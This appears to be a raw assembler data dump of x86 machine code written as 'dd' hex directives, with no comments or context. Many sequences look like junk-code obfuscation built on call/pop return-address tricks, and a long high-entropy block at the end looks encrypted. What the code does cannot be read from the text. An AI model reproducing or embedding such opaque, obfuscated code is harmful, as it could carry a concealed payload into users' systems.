dd 88C5858h, 0DFDAC3D3h, 0C90A58F6h, 174840Fh, 81660000h
dd 0E9A628CFh, 0Ah, 25910D92h, 2ED2F797h, 858B776Ah, 7A80BB1h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B9C35141h
dd 662EB586h, 8533F88Bh, 7A82871h, 0E8505F57h, 5, 0DFB64522h
dd 605250B2h, 0F310F61h, 80h, 5B585A00h, 6A240489h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 4A0BC355h, 0FAB70FBFh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 4299AFC3h, 51F4B7A8h
dd 0E8DAB70Fh, 4, 1F03FFh
dd 535A5360h, 0FE8h, 0E5D04900h, 3802067Ah, 0A43070ABh
dd 18E9E2Bh, 50615F5Eh, 0BAC6BB66h, 424448Bh, 8B33B7h
dd 0DE8h, 0E9A13300h, 8AB8C973h, 9A7E50C5h, 0DA8BB835h
dd 2444895Fh, 58DA8B04h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 0F0C35141h, 60EB1E9Ch, 0D781C28Bh, 74D8B11Fh
dd 89BB6661h, 0F8B70FB1h, 53995FFh, 6A07A8h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A22B38C3h
dd 8B66F7EDh, 0B58960DFh, 7A8257Dh, 0FB25C781h, 89614E41h
dd 0ABBB2B85h, 61852907h, 0E907A80Ch, 236h, 33118509h
dd 858B07A8h, 7ABBB23h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 72C35343h, 892EC731h, 0A82A7DBDh, 1800C707h
dd 8B000000h, 0A826F9BDh, 27B58B07h, 6A07ABBBh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 0DA65C351h, 2C2DBBE1h, 0DF81FDF0h, 53E63F8Ch, 0CCD858Bh
dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 3CCCB3C3h, 89FFA63Fh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66E51292h
dd 858BFA8Bh, 7A80BB1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0AC35646h, 9777BBD5h, 468932EDh, 0E490BB04h
dd 0E8967BB2h, 5, 9BB0D6Ch, 0CE82Eh, 0A1FF0000h, 994D9BFDh
dd 0CF7BE250h, 52502CC7h, 585A310Fh, 50505F5Bh, 11E952h
dd 7EA60000h, 38BCB610h, 604BCB55h, 7A489C3Ah, 0F13F98Bh
dd 5E831h, 0CF320000h, 0E995F014h, 10h, 4A787A6Fh, 7A2FAA6Eh
dd 47BCF338h, 0F48AF105h, 96585A5Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 6FC35040h, 66CAEE4Ch, 0B5FFD88Bh
dd 7ABBB23h, 3031BD8Bh, 4E807A8h, 0FF000000h, 8B001F03h
dd 7E850DAh, 85000000h, 4AD7734Fh, 17BFD243h, 5B392EC5h
dd 424448Bh, 8BDA8B66h, 12E96000h, 0C2000000h, 0E2B09C02h
dd 65FB2A1Bh, 0BD159502h, 0E9E7BECEh, 5E525309h, 44896159h
dd 0FCB30424h, 3DBD2358h, 8D07A826h, 0ABBB2B85h, 0A5BD8B07h
dd 5007A822h, 489F88Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 58328B05h, 7F37F006h
dd 555B15BFh, 9CD38126h, 964C116h, 0A80FB585h, 3995FF07h
dd 6A07A805h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 634EC350h, 6111B302h, 6A61D88Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 42DDC355h, 0E74C9644h, 0C7818997h, 5CE893Fh
dd 93985C7h, 307A8h, 9D890000h, 7A82645h, 0BB2BBD83h, 0F0007ABh
dd 4484h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 34DF8120h, 0E932F1D8h, 38h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E7C35646h, 0C3050B6h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0DE9h
dd 0E397F100h, 0CF53730Bh, 4AC9050Fh, 6A3785h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 816636C3h, 569583CBh, 0B890Fh, 5E80000h, 75000000h
dd 0B6AE793Fh, 0BD835B5Fh, 7A80939h, 60850F03h, 6A000004h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 0E678C357h, 89952939h, 8307A80Ch, 0ABBB2BBDh
dd 840F0007h, 42Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 50C35545h, 0D690B5A8h, 607463E8h, 8589F860h
dd 7A81CB9h, 158D2361h, 6107A806h, 0BB2BB5FFh, 6A07ABh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 9DB09DC3h, 1865B589h, 95FF07A8h, 7A82475h, 33A99D33h
dd 0B58B07A8h, 7ABBB1Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 99C35747h, 9FD76E61h, 0C8933734h, 15418D89h
dd 6C707A8h, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 9CC35747h, 1FFFA547h, 1595095Fh, 8907A81Ah
dd 0A814219Dh, 34895007h, 50006A24h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 76D73FB3h
dd 99DF8012h, 0BB2BB5FFh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 800915C3h, 8D89F0C3h
dd 7A819B5h, 23E595FFh, 9D8907A8h, 7A830A5h, 28599D33h
dd 0B58B07A8h, 7ABBB1Fh, 1769B589h, 858B07A8h, 7A82941h
dd 85C78166h, 0C486892Eh, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 677CC350h
dd 5751F656h, 1731958Bh, 0C28307A8h, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 6FA101C9h
dd 3319A0h, 11E9FFh, 0A9090000h, 0C0776CB2h, 8BFE04Dh
dd 7A84256Ch, 0FC04378Fh, 6A205089h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 99A1C353h
dd 2C6DB529h, 858D07A8h, 7ABCFC1h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0D5C35141h, 642C61A7h, 619D8BDCh
dd 0F07A81Dh, 0C84h, 6850F00h, 8B000000h, 0A832B1BDh, 0B8868907h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0C0A1C350h, 0C03D11D7h, 0DBD8953h
dd 6A07A810h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0CF8166BAh, 0B5FF6FA7h, 7ABBB2Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 78C35343h
dd 18D89A7h, 0FF07A80Ah, 0A814E595h, 0FD9D8B07h, 5007A825h
dd 6A30BB66h, 6A243489h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 6821C350h, 3E780E35h
dd 80A1759Ah, 0B5FF53F7h, 7ABBB2Bh, 28959D8Bh, 95FF07A8h
dd 7A81D09h, 89DEBF0Fh, 0A8152DB5h, 0FDBD8307h, 7A81Dh
dd 58840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 0D3472AC3h, 0BB0EDAF0h, 6CC27838h
dd 5E860h, 3500000h, 89E3A63Bh, 0A8043595h, 66615A07h
dd 509D69BBh, 0CE8h, 0D95B4000h, 0E56423FFh, 9CE86986h
dd 34895F96h, 0C656BF24h, 0B5FF5B6Ah, 7ABBB2Bh, 95FFD88Bh
dd 7A810D5h, 0B2F0A2BFh, 2BB5FF57h, 0FF07ABBBh, 0A80B3995h
dd 0D9958907h, 8307A823h, 0A831F5BDh, 840F0207h, 7Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0ACC35646h, 0F5FCB0B6h
dd 0C8A86DC4h, 286D8D29h, 858B07A8h
dd 7A82981h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0EFC35343h, 809916B9h, 0C610DFh, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 9D8BE8F2h, 7A8183Dh, 0C7FFB70Fh, 0A821C985h, 7, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 58A0FC0h, 0BF000000h, 42CD45B5h, 0E9FAB70Fh, 0FFFFF218h
dd 9EBBC18Bh, 8D1E9280h, 0A8042585h, 0EE807h, 0A05B0000h
dd 79DF8355h, 0F31EF40Eh, 0E344A5CAh, 227D8D89h, 905F07A8h
dd 0F525050h, 0F357BB31h, 585A1150h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 4113F429h
dd 8DECFEECh, 0FA8B66ECh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 7A1C2DC3h, 0F5CB3FF7h
dd 6AF20339h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 1F0462F8h, 8B52B7CAh, 0A825899Dh
dd 54858D07h, 6A07ACB4h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0E547C353h, 6880F87h
dd 8B000000h, 0A81905BDh, 5C08307h, 2D03D381h, 0F903C0Fh
dd 58Ch, 0AB37BB00h, 0B7502F7Ah, 6A90C2h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 8356FAC3h
dd 0FBE029D6h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0FD50DAC3h, 39316CB4h, 2175BD8Bh
dd 6A07A8h, 44D8529h, 95FF07A8h, 7A81B39h, 0EE8h, 0D3BBBF00h
dd 3D8287E4h, 0CE6D3AB3h, 0F78A66Eh, 28Eh, 5F5B5000h, 8D8D5B56h
dd 7AB9A3Bh, 0FFDFB70Fh, 5D9D09D1h, 8307A81Bh, 0A806A5BDh
dd 850F0107h, 0B9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 52C35040h, 0C01D2557h, 0FB94F673h, 2C498D29h
dd 0BE807A8h, 35000000h, 30D574DCh, 4AD8DD13h, 85095E4Eh
dd 7A82565h, 66026A5Fh, 90EEC2BFh, 0B078BB53h, 505B2202h
dd 19BF5250h, 0F5B425Fh, 0DE931h, 0EC4F0000h, 0A98C07CCh
dd 70950FDFh, 5A93D2FAh, 6A9058h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 95FF19C3h, 7A814E5h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 11C35747h
dd 0B887AAF6h, 81661B28h, 0B33963DBh, 0DF1E9B1h, 0E80000h
dd 5D000000h, 0B45EED81h, 6A07ACh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0BE0F22C3h, 0E7803336h
dd 0E4CB81E9h, 8D55B809h, 0AB8C0385h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 8A9F761Ah, 27BF50F8h, 894BDD33h, 6A2404h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 5560ACC3h
dd 0FF6434C3h, 35h, 0FEBF0F00h, 0D4AEC781h, 896472F8h
dd 25h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0A4DF1882h, 0F99D8B38h, 0FF07A830h
dd 0A80EE585h, 0F19D8B07h, 6A07A80Eh, 53006AFFh, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 3C5372D7h, 1479B5FFh, 0BD8B07A8h, 7A832B1h, 0FE8h, 799AEA00h
dd 0F92DB6B3h, 0B95DA55Dh, 2E624A14h, 35619509h, 0FF5F07A8h
dd 0A8246D95h, 175E907h, 830F0000h, 0Eh, 9E9h, 51319400h
dd 0DE250ED8h, 8E9817Fh, 7F000000h, 828E018Ch, 0B0987C3Eh
dd 85036000h, 7A82CDDh, 11E9h, 7C953300h, 1363D5B9h, 0EA76FF86h
dd 29768C7Eh, 6061BD40h, 6D858B50h, 5E07A80Ch, 0B358D01h
dd 0E66107A8h, 0D59D8B70h, 0F907A809h, 9D8B71E4h, 7A81CC5h
dd 3CFE8B66h, 8830F61h, 0E8000001h, 6, 0FACB3E8Bh, 5F52B09Bh
dd 318D095Bh, 0F07A834h, 4EB7C8B6h, 6BAh, 5AEF8100h, 814836A3h
dd 1E139FE3h, 89C18B6Eh, 0A832E19Dh, 4E8C107h, 35950960h
dd 0F07A822h, 289h, 61C18A00h, 2BE2F766h, 0FD8B3C8h, 68Dh
dd 59BD0300h, 8B07A80Fh, 0DEEB81D1h, 0E977EB87h, 0Ch, 52B1E381h
dd 0B5892212h, 7A824FDh, 2C65858Bh, 11E907A8h, 0D1000000h
dd 0E078506Fh, 96A63430h, 12E7E1CEh, 53639528h, 8907C083h
dd 0A825098Dh, 7DBD8907h, 8307A80Ah, 8D8900C0h, 7A82FF9h
dd 830FD03Bh, 11h, 6918D89h, 50E907A8h, 31000000h, 0A8269195h
dd 98D8B07h, 107A82Dh, 0A8238585h, 1E18307h, 35840Fh, 85890000h
dd 7A82AEDh, 2D09A583h, 53FE07A8h, 38E0Fh, 0B70F0000h
dd 95895FDAh, 7A82C65h, 0DE9h, 97AB2D00h, 623E902Dh, 638C019Ah
dd 0E96FF8h, 8D000000h, 0AC1CD0B5h, 0D5952907h, 6A07A80Ah
dd 0CF816600h, 95FFE40Ah, 7A80D21h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 1C35545h, 0CD02EDCFh, 0B91FE3CBh
dd 721h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 87C35545h, 65F220A4h, 6F4F693h, 0CE8h, 4CE9E000h
dd 0F85D8A20h, 0A29D7C59h, 5F2BBF5Fh, 8B5B0276h, 0A81B4DBDh
dd 0FCE18307h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 0D4C35343h, 0BB66AB5Ah, 8BFC0046h, 0A81A95BDh
dd 9C02B07h, 0A81D0D95h, 399D3307h, 2B07A825h, 52006AD2h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0B5858984h, 0AD07A833h, 0E8D1C233h, 0E983D003h, 8BF47504h
dd 0A80CDDBDh, 0DD88B07h, 88h, 1143EB81h, 81661B49h, 8B6F38D3h
dd 0A8173195h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 854D4FFFh, 0C752BCF0h
dd 0A598D8Bh, 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 8766DC3h, 0EC96A46Dh, 9D89DEE5h
dd 7A82C81h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 0F98A5818h, 83FBB70Fh, 0A81885BDh, 840F0007h, 90h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BCC35747h, 10E945h
dd 0D9110000h, 4A9339E5h, 0D413D937h, 0E0BD3F19h, 0BD038C0Fh
dd 7A81B51h, 0B8h, 8C0F00h, 8D000000h, 0A84E4D8Dh, 6E807h
dd 0BF630000h, 52543855h, 0AA99D8Bh, 0FF5B07A8h, 53006AE1h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 12E9A4h, 6A5A0000h, 392BA5FBh, 0D0E6F129h, 0E2DB1458h
dd 716CF4E4h, 939BD83h, 0F0007A8h, 40184h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0B06021BAh, 57673366h, 939BD83h, 0F0107A8h, 3EC84h
dd 0B0BF6600h, 0B6D78154h, 83663116h, 0A80939BDh, 860F0307h
dd 39Fh, 7DFDDDBFh, 0DDBD8B04h, 6007A81Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 78C35242h, 0FB67C770h
dd 9226C680h, 2935BD8Bh
dd 852907A8h, 7A81335h, 6AD98C66h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E8D8C356h
dd 0C04AC2E5h, 1E219D2Bh, 0E18007A8h, 52006A04h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 6C7A8B4Dh, 9B350F7Fh, 0C90ACD05h, 0E4840Fh, 9D8B0000h
dd 7A80005h, 0BB1858Bh, 950107A8h, 7A82CBDh, 6830Fh, 0BD8B0000h
dd 7A827D9h, 28718533h, 8B6607A8h, 0BB90F9D8h, 2E2E9FBDh
dd 457DBB50h, 6A9022E8h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 747AC350h, 639A741Bh
dd 6AE16Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 80C35343h, 69FC685Ch, 0F88BAD31h, 3240481h, 6A52ED9Ah
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 3A1FC357h, 0F99D0131h, 8907A828h, 0A8258D95h
dd 68A0F07h, 8B000000h, 0A8353D9Dh, 3995FF07h, 8907A805h
dd 0A823A1B5h, 2B858907h, 8B07ABBBh, 0A80C6DBDh, 1A0E907h
dd 85890000h, 7A82205h, 103D9531h, 858B07A8h, 7ABBB23h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 73C35040h
dd 0F83DB9D4h, 0C759B9h, 18h, 30A19D0Bh, 0B58B07A8h, 7ABBB27h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 7DC35343h
dd 0E1332880h, 8DF63A52h, 858BB0B7h, 7A80CCDh, 4D9D8B51h
dd 5B07A815h, 858B0689h, 7A80BB1h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 0D2C35040h, 3269BD8Bh, 468907A8h
dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 919589DFh, 8B07A822h, 0A81B51BDh, 59BF5007h
dd 8971A347h, 8D892434h, 7A830B1h, 0BB23B5FFh, 6E907ABh
dd 3D000000h, 0EE035520h, 19F16877h, 8B5153FAh, 34815FFBh
dd 0E51A0E24h, 50006A53h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 2E4E5A89h, 83A5230Eh
dd 0BB2B858Dh, 6A07ABh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 666FB7C3h, 56B2BB80h, 0F88B668Bh
dd 50FB8B66h, 7E8h, 87F21A00h, 9690F530h, 0CBBB5250h, 0F79D75Bh
dd 8A0F31h, 5A000000h, 4895F58h, 719D8B24h, 0FF07A82Dh
dd 0A8053995h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 155DE943h, 6A617BB5h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0AEC4C350h, 0D869961Bh, 5FF55136h, 93985C7h
dd 307A8h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0F9ACC3C3h, 81D8293Eh, 0EE2DC4F3h
dd 2BBD8346h, 7ABBBh, 2D840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E9851BC3h
dd 26h, 6E9h, 0B6684C00h, 50A6BA44h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E33005C3h
dd 0B9B58B60h, 3307A810h, 0A82419B5h, 7E96107h, 1F000000h
dd 2C43CC08h, 0BD839C2Eh, 7A80939h, 7B850F03h, 6A000004h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 29B3C352h, 13E9FBh, 29CE0000h, 7B9010C8h
dd 2ADFDE85h, 0D88BBBD7h, 9E7133B8h, 2BBD83F4h, 7ABBBh
dd 438840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 2BEA45C3h, 8166EA74h, 0FF5093C3h
dd 0ABBB2BB5h, 0DA816007h, 5B2F9842h, 7E8h, 0F982AB00h
dd 0EC3BF1C4h, 0FD32C081h, 615B2469h, 247595FFh, 6A07A8h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 6E4185C3h, 0B61353F7h, 8D89864Dh, 7A81D79h, 6FEF8166h
dd 1FB58B10h, 2907ABBBh, 0A81B7D85h, 106C707h, 6A000100h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0E4EC355h, 217E9903h, 0E960507Ch, 0Fh, 2F099A1Ah
dd 0B76823E3h, 50BD6F34h, 66DCEE86h, 8961D18Bh, 6A2434h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0E04E34C3h, 0B5FFFEB3h, 7ABBB2Bh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 73C35040h, 6F62651Bh, 0E595FF5Bh
dd 6A07A823h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 59E6C355h, 2D9D0B22h, 8B07A82Ah
dd 0ABBB1FB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 6BBAE3F8h, 8E91ACDh, 43000000h
dd 0D19BA1F5h, 8B11A84Ch, 0A8294185h, 53006A07h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 1D1C5E4Eh, 89F98A31h, 0C486h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8BA4D634h
dd 0A8173195h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 0BBB50CA5h, 3EBAA37Dh
dd 2461EF81h, 0C283610Eh, 53006A04h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0EE9953A5h
dd 9AD1212Dh, 9589AF9Eh, 7A80A31h, 6A205089h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 8DFBC353h, 0ABCFC185h, 61BD8B07h, 8907A813h, 0B886h
dd 7D858900h, 6A07A822h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0B5FFB6E1h, 7ABBB2Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D8C35242h
dd 0FFE7669Ch, 0A814E595h, 0DB816607h, 0B796B000h, 8B66509Dh
dd 9D2996DAh, 7A80859h, 0BB2BB5FFh, 6A07ABh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 76675CC3h
dd 1C3EA262h, 1D0995FFh, 5E907A8h, 5000000h, 42F9A804h
dd 1DFDBD83h, 0F0007A8h, 2D84h, 0DB816600h, 50503158h
dd 895F5F52h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 0F85A6C3h, 0B5FFFBB7h, 7ABBB2Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 77C35545h
dd 677739C1h, 0FF73732Bh, 0A810D595h, 108C0F07h, 0E9000000h
dd 0Bh, 16058BCh, 4582BF1Ah, 0FF7D8456h, 0ABBB2BB5h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 2E02948Fh, 6ACA961Ah, 95FFF88Bh, 7A80B39h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EDC35747h, 3A869433h
dd 0BAB94B42h
dd 35858B60h, 8B07A800h, 0BD8361F9h, 7A831F5h, 58840F02h
dd 66000000h, 4D7ECB81h, 2981858Bh, 6A07A8h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 1DFC18C3h
dd 0DF284C51h, 0C65CB774h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 0C5A840C3h
dd 18C0Fh, 0C7F50000h, 0A821C985h, 7, 0F3805200h, 1CE95F95h
dd 0E9FFFFF3h, 0Eh, 0EAA7F8EBh, 0DCA87175h, 2B255D79h
dd 0C18BDAB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 30C35141h, 5E823h, 83520000h, 662EB6F2h, 0E95FF98Bh
dd 0Ah, 32D14A81h, 0
dd 3DE90000h, 69000005h, 0B19AAFA8h, 0F6DFF4E3h, 37203522h
dd 765F7463h, 8D9BB0A7h, 0ADAA693Ch, 0EFE8AF98h, 3324F1DAh
dd 7265351Eh, 98DE7D5Dh, 0CBACAE62h, 0C720CE68h, 0DA130017h
dd 2401193Eh, 6533F4A7h, 533C5172h, 85A79483h, 47CF5E07h
dd 0B390A8EDh, 15C36436h, 9FF4E102h, 587C2359h, 0A2229D3h
dd 0EBECB02Dh, 66D1CC20h, 0FB1007D7h, 3D524512h, 0C5908754h
dd 0BB869148h, 99289340h, 0DDC6DBFCh, 0AFA86A3Dh, 0CF054BE4h
dd 0D5D3587Ch, 9F8CADCEh, 7CCE044Ah, 0CDD4D358h, 154ED8B5h
dd 0EFD3587Ch, 941ED58h, 0ED1BA8F5h, 0DEF6E1B4h, 60C2h
dd 17C7C000h, 73AB3500h, 4DD35970h, 0EB9F4BB6h, 2E1BA801h
dd 1, 215C72Ch, 1E39DC15h, 916E8653h, 8C574014h, 0F81FBAF3h
dd 6548602Dh, 87DBA6B1h, 5476218Ch, 56F5092Dh, 0BC9FB723h
dd 0E5EAFF18h, 96815790h, 58B282B8h, 0A6B165D3h, 0F6D9F1F8h
dd 191E3324h, 54038CF7h, 0D9F14190h, 314C7F3h, 0B4669F38h
dd 0F30BD8A3h, 5E4B4C10h, 9C677025h, 15DAB7CFh, 530291FCh
dd 94462F44h, 9D3BB883h, 0F2388D7Ah, 0D35970BCh, 24DB22C2h
dd 627A5A3h, 0ABF0CDE5h, 477B2792h, 171BA745h, 79BBB1F5h
dd 0A4913A30h, 58C9285Eh, 0F272ED3h, 83F3h, 14C7F100h
dd 1DBB3803h, 5D40DFAh, 0A01DFA12h, 7912DDFAh, 596FFD33h
dd 2BFC03D3h, 4FA36E69h, 620AE954h, 888F4A83h, 0BDD8F0BDh
dd 5885A752h, 0A637200Ah, 0FE9D8098h, 38DBC4D9h, 35D70D53h
dd 26DDD359h, 1F406176h, 6403D754h, 0EDBA6B1h, 0C4DD22EDh
dd 0A675AE59h, 119E6B1h, 0A7C43901h, 4B801Bh, 0C77E0000h
dd 0BB380314h, 0E52EF91Eh, 3BDA69D4h, 9DE3A86Ch, 0D3597067h
dd 7A45666Dh, 8B778CADh, 370215C7h, 0CD03499Eh, 0D3D35970h
dd 8BC4B4CCh, 6ED35970h, 61DEA9AEh, 5ED9A4B3h, 8D6746B1h
dd 0ABDF8BF6h, 6E1BA801h, 1, 6D11C76Ch, 397628AEh, 0AE799AE3h
dd 16C66131h, 98CE1401h, 9ED35872h, 30AB7697h, 346D1883h
dd 0DDAA7562h, 7274AAF0h, 737AD358h, 7A0785Bh, 0AD7A4552h
dd 48CD778Ch, 0B0669F8Ch, 3B908FA7h, 50D58819h, 9AB2DF51h
dd 182C9AAh, 0FDC8CFDBh, 0A4B9DE80h, 0CE044A9Fh, 0D4DB0182h
dd 0D2B5CDh, 8AC24C17h, 0A1DB0182h, 0C4962590h, 80B9BED3h
dd 23F0BBDCh, 6176280Bh, 0AE791996h, 501DE8EFh, 0A7ED422Fh
dd 0DB018271h, 7B587077h, 1E64B9B6h, 0DB0182E8h, 833369AFh
dd 3239DB01h, 4A657D84h, 898E50DFh, 0EC246E74h, 0E11AE3FFh
